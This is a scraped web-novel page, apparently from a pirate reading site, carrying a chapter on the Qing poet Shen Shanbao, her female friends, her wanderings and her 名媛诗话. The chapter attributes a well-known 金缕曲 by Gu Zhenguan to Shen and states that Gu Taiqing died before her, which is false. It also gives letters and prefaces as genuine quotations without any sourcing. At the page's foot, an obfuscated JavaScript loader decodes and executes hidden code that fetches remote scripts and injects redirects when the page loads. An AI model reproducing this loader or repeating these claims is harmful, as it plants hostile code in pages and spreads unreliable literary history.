首页
[切换至繁体版]
返回

第九章 断肠人在天涯:沈善宝与名媛诗话

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

,有魄力,有担当。她经历了被逐出王府、流落街头的苦难,可她没有被打倒,她咬着牙活了下来,还写出了那么多动人的词。
    沈善宝和顾太清的情谊,持续了二十多年。她们互相鼓励,互相扶持,在各自最困难的时候,给对方写信,寄诗,寄钱,寄温暖。
    另一个好友是许云林。许云林是浙江钱塘人,女诗人,工诗词,善书画。她嫁给了一个姓许的官员,随夫在各地任职,漂泊不定。沈善宝和她通信多年,虽然见面的机会不多,可友谊却极为深厚。
    沈善宝在《名媛诗话》中这样写许云林:
    “云林诗,清丽婉约,有闺秀之风。其为人也,温婉和顺,不与人争。然其诗中,时有抑郁不平之气,盖其遇之不幸也。”
    “遇之不幸”——许云林的婚姻并不幸福,丈夫对她冷淡,她在夫家受了很多委屈。可她从不向外人诉苦,只是把那些苦闷写进诗里。沈善宝读懂了她的诗,也读懂了她的人。
    还有一个好友是汪端。汪端是浙江钱塘人,女诗人,工诗词,善文章。她嫁给了一个姓陈的官员,丈夫早逝,她独自抚养孩子,守寡多年。沈善宝对她的遭遇深表同情,两人通信频繁,互相安慰,互相鼓励。
    沈善宝在《名媛诗话》中这样写汪端:
    “端诗,清丽之中有沉郁之气。其为人也,刚毅果决,有丈夫风。然遭夫丧,守节多年,其苦可知矣。”
    “刚毅果决,有丈夫风”——汪端和顾太清一样,不是那种柔弱的女子。她有胆识,有魄力,有担当。丈夫死后,她一个人撑起了整个家,抚养孩子,侍奉公婆,还要应对族人的欺压。她没有被打倒,她咬着牙活了下来,还写出了那么多动人的诗。
    这些女诗人,是沈善宝的朋友,也是她的姐妹。她们互相取暖,互相照亮,在黑暗的夜里,给彼此一点光。
    五、漂泊
    沈善宝的一生,是漂泊的一生。
    她少年丧父,青年北上,中年漂泊,晚年才在北京安定下来。她走过大半个中国,住过无数客栈,换过无数住处。她的家,不是一座房子,而是一箱书,一卷诗稿,几支笔,几锭墨。
    她在《浪淘沙》中写道:
    “身世等浮萍,南北东西。
    几回惆怅问归期。
    梦绕西湖烟雨外,何处寻诗。
    寂寞掩柴扉,往事休提。
    年来心绪只君知。
    一桁青山和泪看,又是斜晖。”
    “身世等浮萍”——她的身世像浮萍一样,在水上飘来飘去,没有根,没有家。“南北东西”——她在南北东西之间奔波,不知道哪里是终点。“梦绕西湖烟雨外”——她梦见西湖,梦见杭州,梦见那些再也回不去的旧日时光。“何处寻诗”——她不知道在哪里可以找到诗,或者说,不知道在哪里可以找到自己。
    可她从来没有停止写诗。
    无论走到哪里,无论遇到什么困难,她都会在夜深人静的时候,点起一盏油灯,铺开一张纸,写下心里的那些话。那些话里有对故乡的思念,有对朋友的牵挂,有对生活的无奈,有对未来的迷茫,也有对自己的鼓励。
    她在《金缕曲》中写道:
    “我亦飘零久,十年来、深恩负尽,死生师友。
    宿昔齐名非忝窃,试看杜陵消瘦。
    曾不减、夜郎僝僽。
    薄命长辞知己别,问人间、到此凄凉否?
    千万恨,为君剖。
    兄生辛未吾丁丑,共些时、冰霜摧折,早衰蒲柳。
    词赋从今须少作,留取心魂相守。
    但愿得、河清人寿。
    归日急翻行戍稿,把空名、料理传身后。
    言不尽,观顿首。”
    “我亦飘零久”——她飘零了很久,很久,久到已经不记得自己是从哪里来的了。“十年来、深恩负尽,死生师友”——十年来,她辜负了太多的恩情,太多的师友。她想报答,可她没有能力;她想偿还,可她没有机会。“薄命长辞知己别”——知己一个个地离开了,有的死了,有的走了,有的疏远了。她不知道还有谁能懂她,还有谁愿意懂她。
    可她依然在写。
    写是她唯一的出口,也是她唯一的武器。她用诗对抗生活的重压,用词抵抗命运的嘲弄。她像一棵被暴风雨吹打过的树,断了枝,折了叶,可根还在,还在泥土里死死地抓着,等着下一个春天。
    六、晚年
    沈善宝的晚年,是在北京度过的。
    她在宣武门外的一条窄巷里租了一间小屋,屋子很小,只有两间,一间是她住的,一间是书房。书房里堆满了书,墙上挂着她自己的画,桌上摆着文房四宝。她每天早起,读书,写诗,整理旧稿。日子过得清苦却充实。
    她的身体越来越差了。长期的劳累和漂泊,让她患上了多种疾病。她的眼睛花了,看书要凑得很近;她的手抖了,写字歪歪扭扭;她的腿脚也不灵便了,走路要扶着墙。可她还在写。写诗是她唯一还在做的事,也是她唯一还能做的事。
    她写的诗越来越短,越来越淡,越来越像自言自语。她不再追求华丽的辞藻,不再讲究工整的对仗,只是把心里的话写下来,写给自己看。
    她在《即事》中写道:
    “老去心闲事事慵,一编相对日从容。
    不知门外春深浅,且看窗前绿几重。
    旧雨不来新雨过,好花将放未花浓。
    从今只合山中住,种得梅花伴老侬。”
    “老去心闲事事慵”——老了,心闲了,什么事都不想做了。“一编相对日从容”——只有书陪伴着她,日复一日,从容不迫。“不知门外春深浅”——她不知道门外的春天是深是浅,也不想知道。“从今只合山中住,种得梅花伴老侬”——她想住在山里,种几株梅花,陪伴自己终老。
    可她没有去山里。她留在北京,留在这座她生活了大半生的城市里,直到生命的最后一刻。
    七、绝笔
    沈善宝死在同治年间,具体的年份不详。
    她死的时候,身边没有人。她的朋友们都已经先她而去——顾太清死了,许云林死了,汪端死了。她的弟弟妹妹们都在南方,来不及赶过来。她一个人,躺在那间低矮的小屋里,慢慢地、安静地、孤独地离开了这个世界。
    她的枕边放着两样东西:一卷《名媛诗话》的稿本,和一封信。
    信是写给顾太清的,可顾太清已经死了,信没有寄出去。信上写着:
    “太清姊姊如晤:余病已深,自知不起。回首生平,一事无成。惟《名媛诗话》一书,尚可告慰。此书虽不敢称善,然亦余十余年心血之所注也。他日若得刊行,望姊姊为余作序,以存其人。弟善宝顿首。”
    “他日若得刊行,望姊姊为余作序,以存其人”——她希望顾太清能为《名媛诗话》作序,让后人知道,曾经有一个叫沈善宝的人,写过这样一本书。可顾太清已经死了,她的愿望落了空。
    《名媛诗话》后来还是刊行了,只是没有顾太清的序。沈善宝的弟弟沈善曾,在她死后整理了遗稿,将《名媛诗话》付梓出版。他在序言中写道:
    “先姊善宝,幼聪慧,好读书。及长,工诗词,善书画。尤留心闺秀之作,搜集十余年,编为《名媛诗话》十二卷。书成,未及刊行而卒。今余不忍其湮没,遂付梓人,以传于世。庶几先姊之苦心,不终泯灭云尔。”
    “庶几先姊之苦心,不终泯灭”——他希望姐姐的苦心不会白费,希望这本书不会湮没无闻。他的愿望实现了——《名媛诗话》流传至今,成为研究清代女诗人最重要的文献之一。
    八、尾声
    很多年后,有人在杭州西湖边发现了一块残破的石碑。
    碑上刻着几个字:“沈善宝之墓。”没有生卒年月,没有墓志铭,没有任何多余的信息。只有这几个字,孤零零地立在荒草丛中,像一个被遗忘的名字。
    没有人知道这块碑是谁立的。也许是她的弟弟,也许是某个读过她书的后人,也许只是某个路过的好心人。不管是谁,那个人至少做了一件事——证明她曾经活过,证明她曾经在这片土地上,写过那些动人的诗句。
    江南的雨,从来不肯痛快地下。
    沈善宝的一生,也从来不肯痛快地过。她没有朱淑真的断肠之痛,没有李清照的流离之苦,没有柳如是的刚烈之死,没有贺双卿的卑微之困,没有徐灿的家国之悲,没有吴藻的闺阁之困,没有顾太清的冤屈之恨。她的一生,是另一种悲剧——一个才华横溢的女子,为了给别人立传,耗尽了自己的一生。
    她为别人立传,可她自己呢?谁来为她立传?
    她不需要。
    她把自己的生命,融进了《名媛诗话》的每一个字里。那些字,是她的血,她的泪,她的心。她不需要别人为她立传,因为她自己就是一部传——一部关于女性、关于诗歌、关于尊严、关于自由的长篇大传。
    她在《金缕曲》中写过这样一句话:
    “我亦悲秋客,记年时、西窗剪烛,共论诗伯。”
    她是悲秋客,也是立传人。她用一生的时间,为那些被历史遗忘的女子立传。她的笔,是她们的碑;她的书,是她们的墓;她的名字,是她们的名字的一部分。
    雨声未歇,花魂未远。
    (第九章完
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();